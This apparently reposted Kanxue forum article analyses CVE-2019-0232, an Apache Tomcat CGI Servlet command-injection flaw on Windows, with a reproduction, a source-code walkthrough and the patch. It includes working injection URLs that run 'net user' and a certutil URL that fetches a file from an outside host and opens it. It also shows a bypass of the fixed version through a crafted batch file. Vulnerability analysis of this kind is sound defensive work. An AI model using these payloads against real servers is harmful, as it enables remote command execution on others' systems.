CVE-2019-0232:Apache Tomcat远程代码执行漏洞分析

栏目: Java · 发布时间: 5年前

内容简介:漏洞背景2019年4月13号,该漏洞只对

漏洞背景

2019年4月13号, Apache Tomcat 9.0.18 版本公告中提到,本次更新修复了一个代号为 CVE-2019-0232 的漏洞。

该漏洞只对 Windows 平台有效,攻击者向 CGI Servlet 发送一个精心设计的请求,可在具有 Apache Tomcat 权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到 Windows 环境时,由于 CGI_Servlet 中的输入验证错误而存在该漏洞。

漏洞影响范围

★Apache Tomcat 9.0.0.M1 to 9.0.17

★Apache Tomcat 8.5.0 to 8.5.39

★Apache Tomcat 7.0.0 to 7.0.93

漏洞复现

笔者使用的测试环境为 Win10 Home 1809,jre版本为18.3 (build 10.0.2+13),Tomcat 版本为去年安装的9.0.13。

Tomcat的CGI_Servlet 组件默认是关闭的,在 conf/web.xml 中找到注释的 CGIServlet 部分,去掉注释,并配置 enableCmdLineArgumentsexecutable ,如下:

<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

同时把 Servlet Mappings中CGI servlet 部分注释去掉:

<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

接着修改 conf/context.xml 的 <Context> 添加privileged="true" 属性,否则会没有启动CGI_Servlet权限。如下:

<Context privileged="true">
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
</Context>

最后在 webapps/ROOT/WEB-INF 文件夹下建立hello.bat空文件,里面可以什么都不用写。

启动Tomcat,打开浏览器,访问下面链接:

http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5Cnet+user

网页反馈熟悉的cmd结果如下图。

CVE-2019-0232:Apache Tomcat远程代码执行漏洞分析

漏洞利用场景

构造一个注入链接,实现一个图片下载器的功能:

http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5ccertutil+-urlcache+-split+-f+http%3a%2f%2fb.hiphotos.baidu.com%2fimage%2fpic%2fitem%2f9825bc315c6034a8ef5250cec5134954082376c9.jpg+1.jpg+%26start+1.jpg

这里我用一张图片做测试,运行成功后会弹出图片。下面为一个GIF动图演示:

CVE-2019-0232:Apache Tomcat远程代码执行漏洞分析

漏洞分析

网络社区已经有大神分析过了漏洞代码,漏洞代码位于 tomcat\java\org\apache\catalina\servlets\CGIServlet.java 文件中,这里我追踪分析当浏览器访问 http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5Cnet+user 时,相应代码做了哪些操作。

处理链接的代码在 CGIServlet.java中的setupFromRequest 函数中。

String qs;
if (isIncluded) {
qs = (String) req.getAttribute(
RequestDispatcher.INCLUDE_QUERY_STRING);
} else {
qs = req.getQueryString();
}

原始链接字符串

http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5Cnet+user 通过经过getQueryString函数,qs得到了初始查询字符串,此时,qs=” &C%3a%5cWindows%5cSystem32%5Cnet+user ”。

if (qs != null && qs.indexOf('=') == -1) {
StringTokenizer qsTokens = new StringTokenizer(qs, "+");
while (qsTokens.hasMoreTokens()) {
String encodedArgument = qsTokens.nextToken(); if(!cmdLineArgumentsEncodedPattern.matcher(encodedArgument).matches()){

/********此处省略打印日志代码********/
return false;
}

String decodedArgument =URLDecoder.decode(encodedArgument, parameterEncoding);

cmdLineParameters.add(decodedArgument);
}
}

代码首先判断qs不能为空,且不能含有=符号,至于为什么不能为等号,代码注释部分给出了解释,含有=号代表链接为 indexed query

if (qs != null && qs.indexOf('=') == -1)

紧接着, StringTokenizer 类将字符串qs分割为两部分,以+号为分隔符,字符串一分为二,变成了 ”&C%3a%5cWindows%5cSystem32%5Cnet”和”user”。

StringTokenizer qsTokens = new StringTokenizer(qs, "+");

此时分割的字符串并未直接进入命令行执行,作者做了一次正则匹配检验 cmdLineArgumentsEncodedPattern.matcher, 目的是检测字符串的合法性,我们不妨看一下匹配规则,即允许字母、数字、以及特定符号 “%;/?:@&,$-_.!~*'()” 通过检验。显然,我们构造的注入链接都是满足要求的,没有使用匹配规则之外的字符。

private Pattern cmdLineArgumentsEncodedPattern =
Pattern.compile("[a-zA-Z0-9\\Q%;/?:@&,$-_.!~*'()\\E]+");

然后下一步, URLDecoder.decode 将url编码的字符串转码, ”&C%3a%5cWindows%5cSystem32%5Cnet” 解码后为 ”&C:\Windows\System32\net”,”user ”解码后还是”user”不变。

String decodedArgument =URLDecoder.decode(encodedArgument, 
ParameterEncoding);

cmdLineParameters是一个ArrayList<String> 数组对象,定义如下:

private final ArrayList<String> cmdLineParameters = new ArrayList<>();

反复回溯跟踪代码执行流程,有点耐心,就能找到上面处理后的字符串参数传到下面的代码做最后的处理。

List<String> cmdAndArgs = new ArrayList<>();
if (cgiExecutable.length() != 0) {
cmdAndArgs.add(cgiExecutable);
}
if (cgiExecutableArgs != null) {
cmdAndArgs.addAll(cgiExecutableArgs);
}
cmdAndArgs.add(command);
cmdAndArgs.addAll();

try {
rt = Runtime.getRuntime();
proc = rt.exec(
cmdAndArgs.toArray(new String[cmdAndArgs.size()]),
hashToStringArray(env), wd);

从最后一句可以看出, Tomcat调用Runtime.getRuntime().exec 启动了cmd命令行,参数放在了 cmdAndArgs这个ArrayList<String> 数组中, cmdAndArgs是由cgiExecutable、cgiExecutableArgs、command与params 组合到一起得到的。

if (getServletConfig().getInitParameter("executable") != null) {
cgiExecutable = getServletConfig().getInitParameter("executable");
}

if (getServletConfig().getInitParameter("executable-arg-1") != null) {
List<String> args = new ArrayList<>();
for (int i = 1;; i++) {
String arg = getServletConfig().getInitParameter(
"executable-arg-" + i);
if (arg == null) {
break;
}
args.add(arg);
}
cgiExecutableArgs = args;
}

还记得开头在 conf/web.xml 配置了一个标签 executable, 配置的值为空,即为默认值,可以推测 cgiExecutable与cgiExecutableArgs 并没什么卵用。

File fCGIFullPath = new File(sCGIFullPath);
command = fCGIFullPath.getCanonicalPath();

command源自sCGIFullPath,而sCGIFullPath 可能是文件或者目录,因为无法调试,但通过观察函数命名可知, command极可能是hello.bat 的绝对路径名。

很容易就可以分析出,params就是前面解码后的解码后的 ”&C:\Windows\System32\net”和”user”。

总结一下,此时在Windows下构造的命令行参数如下:

cmdAndArgs={“hello.bat“,”&C:\Windows\System32\net”,”user”}

为了验证我的猜想,我启动命令行,输入下面命令:

hello.bat &C:\Windows\System32\net user

CVE-2019-0232:Apache Tomcat远程代码执行漏洞分析

与浏览器的返回结果一致,说明我们的猜想是正确的。此处必须解释&符号的作用,&含义是,表示&左边字符串与右边字符串是两条命令,命令行会依次执行 ”hello.bat”与”C:\Windows\System32\net user” ;如果没有此处的&号, ”C:\Windows\System32\net user” 将作为参数传递给 hello.bat。

漏洞修复

开发者在 URLDecoder.decode 解码后增加一个正则表达式验证,毋庸置疑,目的肯定是检测url解码后的字符串输入的合法性。

String decodedArgument = URLDecoder.decode(encodedArgument, parameterEncoding);
if (cmdLineArgumentsDecodedPattern != null &&
!cmdLineArgumentsDecodedPattern.matcher(decodedArgument).matches()) {
/******省略打印日志代码**********/
return false;
}

值得注意的是,该正则匹配规则是可以在 conf/web.xml 自定义配置的,默认值为:

if (JrePlatform.IS_WINDOWS) {
DEFAULT_CMD_LINE_ARGUMENTS_DECODED_PATTERN = Pattern.compile("[a-zA-Z0-9\\Q-_.\\/:\\E]+");
} else {
// No restrictions
DEFAULT_CMD_LINE_ARGUMENTS_DECODED_PATTERN = null;
}

只需注意到,这里过滤了&符号。仅仅依赖过滤&符号显然还是不够的,倘若此处我们精心再设计一下 hello.bat 的内容,命令行注入依旧可行,特地下载最新的修复漏洞后的 Tomcat9.0.20 版本,配置方法与9.0.13版本相同,不同的是hello.bat不再为空,内容如下:

%~1 %~2

上述批处理含义十分简单,是取传入bat第一个参数与第二个参数,并组合一起作为一条命令执行。

修改注入链接为:

http://localhost:8080/cgi-bin/hello.bat?C%3a%5cWindows%5cSystem32%5Cnet+user

经测试,注入依旧成功。因此,修复该漏洞最佳方法是:

1.停止启用enableCmdLineArguments参数。

2.或者在conf/web.xml中覆写采用更严格的参数合法性检测规则。

参考链接

  • https://xz.aliyun.com/t/4875

  • https://github.com/apache/tomcat/commit/4b244d8

  • https://github.com/pyn3rd/CVE-2019-0232/

- End -

CVE-2019-0232:Apache Tomcat远程代码执行漏洞分析

看雪ID: 风噬        

本文由看雪论坛  风噬     原创投稿

转载请注明来自看雪社区

热门图书推荐

CVE-2019-0232:Apache Tomcat远程代码执行漏洞分析   立即购买!

:warning: 注意

2019 看雪安全开发者峰会门票正在热售中!

长按识别下方 二维码 即可享受  2.5折  优惠!

CVE-2019-0232:Apache Tomcat远程代码执行漏洞分析

CVE-2019-0232:Apache Tomcat远程代码执行漏洞分析

公众号ID:ikanxue

官方微博:看雪安全

商务合作:wsc@kanxue.com

点击下方“阅读原文”,查看更多干货


以上所述就是小编给大家介绍的《CVE-2019-0232:Apache Tomcat远程代码执行漏洞分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Creative Selection

Creative Selection

Ken Kocienda / St. Martin's Press / 2018-9-4 / USD 28.99

Hundreds of millions of people use Apple products every day; several thousand work on Apple's campus in Cupertino, California; but only a handful sit at the drawing board. Creative Selection recounts ......一起来看看 《Creative Selection》 这本书的介绍吧!

SHA 加密
SHA 加密

SHA 加密工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具